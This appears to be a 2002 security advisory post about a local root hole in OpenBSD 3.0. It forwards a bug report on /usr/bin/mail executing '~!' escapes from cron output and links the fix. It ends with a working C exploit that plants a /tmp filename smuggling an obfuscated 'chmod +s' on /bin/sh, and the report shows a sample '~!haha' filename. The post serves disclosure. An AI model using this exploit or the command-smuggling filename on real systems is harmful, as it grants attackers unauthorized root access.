There is a local root compromise in OpenBSD 3.0-current (and below, before 8 Apr
2002).

Full problem report and exploit below. FreeBSD is not vulnerable.

----- Forwarded message from urbanekopenbsd.cz -----

From: urbanekopenbsd.cz
To: gnatsopenbsd.org
Subject: user/2536: possible root compromise using /usr/bin/mail

>Number: 2536
>Category: user
>Synopsis: crontab entry allows possible arbitrary comand execution
>Confidential: yes
>Severity: critical
>Priority: high
>Responsible: bugs
>State: open
>Class: sw-bug
>Submitter-Id: net
>Arrival-Date: Mon Apr 8 13:30:02 MDT 2002
>Last-Modified:
>Originator: Milos Urbanek
>Organization:

>Release: all relases including CURRENT
>Environment:
        
        System : OpenBSD 3.0
        Architecture: OpenBSD.i386
        Machine : i386
>Description:

        program /usr/bin/mail allows a special escape sequence to
        be specified in the body of an email; this escape sequence
        specifies a shell comand to be executed

        as mentioned in mail(1):

~!command
             Execute the indicated shell command, then return to the message.

        Problem:
        default root crontab entry looks like:

        # do daily/weekly/monthly maintenance
# on monday only (techie)
30 1 * * 1 /bin/sh /etc/daily 2>&1 | tee /var/log/d
aily.out | mail -s "`/bin/hostname` daily output" root
30 3 * * 6 /bin/sh /etc/weekly 2>&1 | tee /var/log/
weekly.out | mail -s "`/bin/hostname` weekly output" root
30 5 1 * * /bin/sh /etc/monthly 2>&1 | tee /var/log/monthly.out | mail -s "`/bin/hostname` monthly output" root

        If there is something in files /etc/daily, /etc/weekly or /etc/monthly
        which could enable the attacker to insert its own input,
        like a malformed filename

         chiba:5$ touch \~!haha
         chiba:6$ ls -al *haha*
        -rw-r--r-- 1 milos milos 0 Apr 8 19:30 ~!haha

        or by other means like output from log files under /var/log,

        the attacker can execute arbitrary comand running under root
        privileges which can lead to the root compromise.

>How-To-Repeat:
        read the man page, and see above
[...]

----- End forwarded message -----

Patch: http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/mail/collect.c.diff?r1=1.23&r2=1.24

Exploit:

/*
 * (c) 2002 venglinfreebsd.lublin.pl
 *
 * OpenBSD 3.0 (before 08 Apr 2002)
 * /etc/security + /usr/bin/mail local root exploit
 *
 * Run the exploit and wait for /etc/daily executed from crontab.
 * /bin/sh will be suid root next day morning.
 *
 * Credit goes to urbanekopenbsd.cz for discovering vulnerability.
 *
 */

#include <fcntl.h>

int main(void)
{
        int fd;

        chdir("/tmp");
        fd = open("\n~!chmod +s `perl -e 'print \"\\057\\142\\151\\156\\057\\163\\150\"'`\n", O_CREAT|O_WRONLY, 04777);

        if (fd)
                close(fd);
}

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